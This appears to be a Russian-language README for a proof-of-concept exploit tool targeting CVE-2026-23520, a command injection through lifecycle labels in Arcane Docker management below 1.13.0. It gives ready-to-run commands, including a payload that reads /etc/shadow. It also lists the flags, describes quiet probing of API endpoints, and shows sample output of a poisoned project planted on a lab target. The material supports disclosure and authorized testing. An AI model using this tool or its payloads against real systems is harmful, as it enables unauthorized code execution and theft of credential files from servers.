
Доказательство концепции эксплуатации для CVE-2026-23520 — аутентифицированное удалённое выполнение кода (RCE) в Arcane Docker management через внедрение OS-команд в lifecycle-метки. Включает режимы проверки, эксплуатации и генерации.
Внедрение OS-команд в Arcane Docker Management (< 1.13.0)
Arcane — это современная веб-платформа для управления Docker. Версии до 1.13.0 уязвимы для аутентифицированного удалённого выполнения кода (RCE) через внедрение OS-команд в метки жизненного цикла службы обновления.
Служба обновления поддерживала две метки контейнеров Docker:
| Метка | Триггер |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Перед обновлением контейнера |
com.getarcaneapp.arcane.lifecycle.post-update | После обновления контейнера |
Значение метки передаётся напрямую в /bin/sh -c без какой-либо санитизации. Поскольку любой аутентифицированный пользователь (не только администраторы) может создавать проекты через API, злоумышленник может внедрить отравленный проект. Когда администратор позже запускает обновление контейнера, внедрённая команда выполняется внутри контейнера — и потенциально на хосте, если присутствуют смонтированные тома.
Злоумышленник (пользователь с низкими правами) Сервер Arcane
──────────────────────── ──────────────
1. Аутентификация (любой пользователь) ──────────► Выдан JWT
2. Создание проекта с Проект сохранён с
отравленной меткой жизненного цикла ──────────► вредоносной меткой
│
┌───────────────────────────────────────────────┘
│ 3. Администратор запускает обновление контейнера
▼
Служба обновления Arcane читает значение метки
Передаёт его в /bin/sh -c
│
▼
*** Выполнение произвольной команды ***
(в контейнере или на хосте, если смонтированы тома)
| Статус | Версии |
|---|---|
| Уязвимые | Arcane < 1.13.0 |
| Исправленные | Arcane ≥ 1.13.0 |
Исправление (коммит 5a9c2f9) полностью удаляет функцию меток жизненного цикла, чтобы устранить поверхность атаки.
urllib, работает на любом Python 3.10+check (определение версии), exploit (развёртывание), generate (офлайн-создание compose-файла)-v) — показывает, какие именно конечные точки зондируются и что возвращаетсяpython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Развернуть отравленный проект через API Arcane
check Определить версию Arcane и проверить уязвимость
generate Создать отравленный compose-файл (без сети)
options:
-h, --help показать это справочное сообщение и выйти
-v, --verbose Показать отладочный вывод зондирования
Флаги эксплойта:
| Флаг | Описание | По умолчанию |
|---|---|---|
-t, --target | Хост Arcane (IP или имя хоста) | обязательно |
-P, --port | Порт Arcane | 3552 |
-u, --username | Любой аутентифицированный пользователь Arcane | обязательно |
-p, --password | Пароль пользователя | обязательно |
--payload | Команда оболочки для внедрения | id |
--hook | Хук pre или post обновления | pre |
--project-name | Имя отравленного проекта | poc-cve-2026-23520 |
--env-id | ID окружения (автоопределение, если не указано) | авто |
--scheme | http или https | http |
--no-verify | Пропустить проверку TLS-сертификата | выкл |
Скрипт не зашивает один путь API. Вместо этого он незаметно зондирует несколько известных путей для каждой операции и останавливается на первом совпадении:
| Операция | Пробуемые конечные точки |
|---|---|
| Версия | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Аутентификация | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Окружения | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Создание проекта | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects и другие |
Ключи ответов также сопоставляются гибко (например, currentVersion, version, Version, serverVersion — включая вложенные объекты и поиск без учёта регистра).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Шаг 1 · Определение версии цели ──
[*] Цель: http://10.129.7.208:3552
[*] Зондирование конечных точек версии …
[+] Версия найдена через /api/version
[+] Версия Arcane: v1.12.4
[+] Версия v1.12.4 < 1.13.0 — УЯЗВИМА
── Шаг 2 · Аутентификация ──
[*] Аутентификация как злоумышленник …
[+] JWT получен через /api/auth/login
── Шаг 3 · Обнаружение окружения ──
[*] Зондирование конечных точек окружений …
[+] Найдено 1 окружение через /api/environments
[*] → 1 (local)
[+] Используется окружение: 1
── Шаг 4 · Внедрение отравленного проекта ──
[*] Внедрение полезной нагрузки в метку жизненного цикла: pre-update
[*] Метка : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Значение : id
[+] Проект создан через /api/environments/1/projects
── Эксплойт успешно внедрён ──
[+] Отравленный проект теперь ожидает триггер обновления.
5a9c2f9Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за любое неправомерное использование. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
MIT